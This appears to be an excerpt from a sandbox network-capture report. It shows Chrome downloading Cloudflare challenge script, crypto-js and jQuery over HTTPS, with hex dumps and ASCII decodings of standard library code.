2025-03-06 13:38:44 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49759	104.17.25.14	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:43 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:38:44 UTC	961	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:38:44 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"64972557-40eb" Last-Modified: Sat, 24 Jun 2023 17:18:15 GMT cf-cdnjs-via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 43807 Expires: Tue, 24 Feb 2026 13:38:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2QyqeEeMTwDwWPXIR88M5RmXrAEugvlR7o2FPdoBjD7vmWgWfFiWymzPO%2BRFqCe4IsxgtEriM4sMt%2B8udfKhhrXiD5zstpm30q1lxFxyRTepgTK%2FhhyQro%2FPwGqGPiTB%2BRhHw5IB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91c2415118071389-ATL alt-svc: h3=":443"; ma=86400
2025-03-06 13:38:44 UTC	408	IN	Data Raw: 37 62 65 66 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bef!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-06 13:38:44 UTC	1369	IN	Data Raw: 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 Data Ascii: eof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.c
2025-03-06 13:38:44 UTC	1369	IN	Data Raw: 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 Data Ascii: e.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByt
2025-03-06 13:38:44 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 Data Ascii: typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a
2025-03-06 13:38:44 UTC	1369	IN	Data Raw: 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e Data Ascii: r(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>
2025-03-06 13:38:44 UTC	1369	IN	Data Raw: 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 Data Ascii: 0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I
2025-03-06 13:38:44 UTC	1369	IN	Data Raw: 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 Data Ascii: fer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify
2025-03-06 13:38:44 UTC	1369	IN	Data Raw: 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e Data Ascii: .charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMN
2025-03-06 13:38:44 UTC	1369	IN	Data Raw: 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 Data Ascii: s(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=t
2025-03-06 13:38:44 UTC	1369	IN	Data Raw: 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 Data Ascii: 9]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49760	151.101.130.137	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:44 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:38:44 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 06 Mar 2025 13:38:44 GMT Age: 2509925 X-Served-By: cache-lga21931-LGA, cache-pdk-kfty8610071-PDK X-Cache: HIT, HIT X-Cache-Hits: 1584, 9 X-Timer: S1741268324.472388,VS0,VE0 Vary: Accept-Encoding
2025-03-06 13:38:44 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-06 13:38:44 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-06 13:38:44 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-06 13:38:44 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-06 13:38:45 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
